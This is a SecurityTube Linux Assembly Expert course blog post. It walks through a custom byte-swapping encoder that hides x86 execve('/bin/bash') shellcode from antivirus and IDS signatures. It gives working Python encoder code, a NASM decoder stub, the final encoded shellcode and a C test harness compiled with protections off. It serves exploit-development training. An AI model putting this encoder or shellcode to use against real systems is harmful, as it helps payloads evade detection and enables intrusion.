This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Create a custom encoding scheme like the “insertion encoder”. Code a PoC using execve-stack as the shellcode to encode with your schema and execute it.
Prestudy
For this task we’ll use an already existing piece of shellcode (execve-stack from SLAE material) and write an encoder for it. The reason behind this is to make it harder for AV’s and IDS to match the new shellcode to the already known shellcode.
execve-stack shellcode:
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Of course, as always, make sure that the shellcode executes properly and contains no null bytes.
We’ll also make use of a simple encoding scheme, namely to exchange places of 2 bytes, and then loop through a sequence of bytes and perform said operation.
Hopefully this masterwork picture explain the idea of it.
Python Encoder
So, I wrote a python script to encode the shellcode.
#!/usr/bin/env python2
shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
print 'Length: %d' % len(shellcode)
s2 = ''
for x in bytearray(shellcode):
s2 += '0x%02x,' % x
s2 = s2.rstrip(',')
print 'Original Shellcode Samples:'
print s2
print '\nEncoded Shellcode Samples:'
s2n = s2.split(',')
encoded = ''
i = 1
for s in s2n:
if i == 1:
a = s
elif i == 2:
encoded += '%s,' % s
encoded += '%s,' % a
i = 1
continue
i += 1
print encoded.rstrip(',')
It’s a bit ugly but sufficient for the task.
Output looks like this:
Length: 30
Original Shellcode Samples:
0x31,0xc0,0x50,0x68,0x62,0x61,0x73,0x68,0x68,0x62,0x69,0x6e,0x2f,0x68,0x2f,0x2f,0x2f,0x2f,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x80
Encoded Shellcode Samples:
0xc0,0x31,0x68,0x50,0x61,0x62,0x68,0x73,0x62,0x68,0x6e,0x69,0x68,0x2f,0x2f,0x2f,0x2f,0x2f,0xe3,0x89,0x89,0x50,0x53,0xe2,0xe1,0x89,0x0b,0xb0,0x80,0xcd
Neat!
Nasm
Besides what’s in the execve-stack shellcode we do not need any syscalls, only to move around data and then jump to the decoded shellcode. Let’s type it out!
; Filename: encoder.nasm
; Author: Alex
; SLAE-ID: SLAE-1046
; Website: http://0xdeadcode.se
;
;
; Purpose: Assignement 4 - SLAE Exam
; Decode the encoded shellcode and execute it
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; put address to EncodedShellcode into ESI (jmp-call-pop)
xor eax, eax ; register to hold data
xor ecx, ecx ; loop counter
mov cl, 15 ; loop 15 times (our shellcode is 30 length)
decode:
; switch data between esi and esi+1
mov al, byte [esi]
xchg byte [esi+1], al
mov [esi], al
; move to the 2 bytes and loop
add esi, 2
loop decode
; we're done, move to our decoded shellcode
jmp short EncodedShellcode
call_shellcode:
call decoder
EncodedShellcode: db 0xc0,0x31,0x68,0x50,0x61,0x62,0x68,0x73,0x62,0x68,0x6e,0x69,0x68,0x2f,0x2f,0x2f,0x2f,0x2f,0xe3,0x89,0x89,0x50,0x53,0xe2,0xe1,0x89,0x0b,0xb0,0x80,0xcd
Assemble and link it, then test it. It work just fine so let’s check (just in case) if our code contains any null bytes, it shouldn’t but who knows.
Looks good! Besides the, obviously, bad part that’s encoded.
Shellcode
Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program and execute it.
objdump -D ./encoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\xeb\x17\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x0f\x8a\x06\x86\x46"
"\x01\x88\x06\x83\xc6\x02\xe2\xf4\xeb\x05\xe8\xe4\xff\xff\xff"
"\xc0\x31\x68\x50\x61\x62\x68\x73\x62\x68\x6e\x69\x68\x2f\x2f"
"\x2f\x2f\x2f\xe3\x89\x89\x50\x53\xe2\xe1\x89\x0b\xb0\x80\xcd";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile and execute!
gcc -fno-stack-protector -zexecstack shellcode.c -o execve-stack-enc
Beautiful!
Github Links
Nasm Encoder
Python Encoder
Shellcode.c
Leave a Reply